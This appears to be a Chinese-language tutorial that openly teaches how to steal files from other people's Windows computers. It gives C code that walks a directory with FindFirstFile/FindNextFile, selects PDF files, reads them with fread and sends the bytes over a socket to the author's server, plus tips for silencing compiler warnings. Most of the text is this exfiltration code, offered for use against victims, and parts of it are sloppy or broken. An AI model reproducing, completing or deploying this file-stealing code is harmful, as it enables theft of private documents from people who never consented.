我们来学习一下如何窃取别人电脑上的文件,原理就是遍历电脑上的文件,然后发送给服务器,别人的电脑充当客户端,我们自己的电脑充当服务器
第一步 包含头文件
#include <stdio.h>
#include <windows.h>
这里,如果再包含一个winsock2的头文件,就会报错,因为写了windows.h就不需要winsock2了
第二步 定义一个获取路径下所有文件名的函数
int main() {
getFile("C:\\Users\\笔记"); }
这里要用两个\\来表示一个\
第三步 定义getFile函数
int getFile(const char* filepath)
{
WIN32_FIND_DATA FindFileData;
/文件、键盘、鼠标等都是通过句柄来标识
HANDLE hListFile;
WIN32_FIND_DATA可用来表示文件,它是一个结构体,然后再定义一个句柄
第三步
char szFilePath[MAX_PATH]{0};
/strcpy字符串复制函数,strcat截断函数
strcpy( szFilePath,filepath );
strcat(szFilePath, "\\*");
MAX_PATH是系统的一个宏,表示260
第四步 将句柄赋值为
hListFile = FindFirstFile ( szFilePath, &FindFileData );
查看一下FindFirstFile的定义FindFirstFileW (
_In_ LPCWSTR lpFileName,
_Out_ LPWIN32_FIND_DATAW lpFindFileData另外它的返回值为Handle,这就是为什么我们要定义一个句柄的原因
第一个参数类型为wchar*,而我们的szFilePath为char* ,所以我们将字符集修改为多字符集
第五步 循环遍历
do {
char mypath[MAX_PATH]{};
strcpy(mypath, filepath);
strcat(mypath, FindFileData.cFileName);
if (strstr(mypath,".pdf"))
{
SendtoServ(mypath);
printf("mypath==%s\n", mypath);
}
} while (FindNextFile(hListFile, &FindFileData));
strcat的第二个参数表示文件名,因为WIN32_FIND_DATA类型表示一个结构体,它里面有个成员变量表示文件名,FindNextFile函数,第一个参数为文件句柄,第二个参数为第一个文件的地址,知道它返回NULL,表示查不到下一个文件
这里有个错误一定要记住,路径一定要对,不管是形参还是实参,不然就会出现sendtosrv里面的fp为空指针,引起报错,我这里的错误就是传入的最后面少了两个\\,导致拼接错误
我们尝试编译后,发现如下错误
error C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
error C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
我们可以直接禁用警告,右键属性-> C++=>所有选项->禁用特定警告,填入4996
if判断表示,如果文件名中含有pdf,调用函数发送给服务端,我们来实现一下sendtoserv函数
int SendtoServ (const char* mypath) {
...
FILE* fp = fopen(mypath, "rb");
int len = fread(sendBuff, 1, 100, fp);
int iLen = send(sockClie, (char*)sendBuff, 100, 0);
...
}
这里省略的内容和TCP client内容差不多,也是建立一个socket连接,给服务端发送数据,不同的是这里发送的是mypath路径下的文件内容,将文件内容通过fread读取到sendbuff中,然后发送给服务端。这个len的作用应该就是让一个变量来接收一下返回值,而且len只出现了这一次